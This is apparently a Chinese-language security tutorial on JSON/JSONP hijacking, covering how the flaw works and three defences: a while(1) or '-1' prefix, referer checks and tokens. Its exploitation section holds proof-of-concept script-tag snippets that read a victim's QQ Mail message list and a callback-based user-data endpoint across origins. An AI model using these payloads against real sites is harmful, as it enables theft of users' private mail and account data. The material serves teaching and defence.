文章目录
  1. 1. 漏洞原理
  2. 2. 利用方式
  3. 3. 防御方案
  4. 4. 参考资料

漏洞原理

json(javascript object notation)是javascript对象表示法的意思。

比如:

var impromptu_object = {
    "given_name" : "john",
    "family_name": "smith",
    "lucky_numbers": [11630,12067,12407,12887]
};
alert(impromptu_object.given_name);

运行结果是弹出john。

jsonp字面上的含义是”填充式(padding)的JSON”,它通过填充二外的内容吧JSON序列化包装起来,变成一段有效的可以独立运行的Javascript语句。常见的例子包括函数调用(例如callback_function({…JSON data…}))或变量赋值(var return_value = {…JSON data…})

利用方式

返回值形式为:变量赋值的形式

Qmail.newMailsList={total:446,mailHome:"http://mail.qq.com/cgi-bin/login?f...


<script>  
var Qmail={};   先定义变量
</script>  
<script src="http://mail.qq.com/cgi-bin/login?fun=passport&target=MLIST&t=login.js&pagesize=10&resp_charset=gb2312&1=3"></script>  
<script>  
alert(Qmail.newMailsList.nextUrl);  
alert(document.scripts[1].src=Qmail.newMailsList.nextUrl);  
alert(Qmail.newMailsList.summary);  
</script>  

返回值形式为函数调用

<script>  
function wooyun_callback(a){  
alert(a);  
}  
</script>  
<script src="http://www.wooyun.org/userdata.php?callback=wooyun_callback"></script>  

防御方案

1,对于同域的json使用情况下,可以在数据的输出头部加入while(1);的方式避免数据被script标签的方式引用,这可以防止一些比较有特性的浏览器里导致的数据泄漏。腾讯的一个案例加了”-1”

//Ignoring The First Item "-1"Qmail.newMailsList={total:

2,referer的来源限制,利用前端referer的不可伪造性来保障请求数据的应用来源于可信的地方,此种方式力度较稀,完全依赖于referer,某些情况下(如存在xss)可能导致被绕过。

3,token的加入,严格来说,这种利用javascript hijacking的方式获取数据是CSRF的一种,不过较之传统的CSRF不能获取数据只能提交而言,这种方式利用javascript可以获取一些敏感信息而已。如果我们能让攻击者对接口未知,就可以实现json hijacking的防御了。利用token对调用者的身份进行认证,这种方式对于调用者的身份会要求力度较细,但是一旦出现xss也可能导致前端Token的泄露,从而导致保护失效。

参考资料

知道创宇 JSONP 安全攻防技术

文章目录
  1. 1. 漏洞原理
  2. 2. 利用方式
  3. 3. 防御方案
  4. 4. 参考资料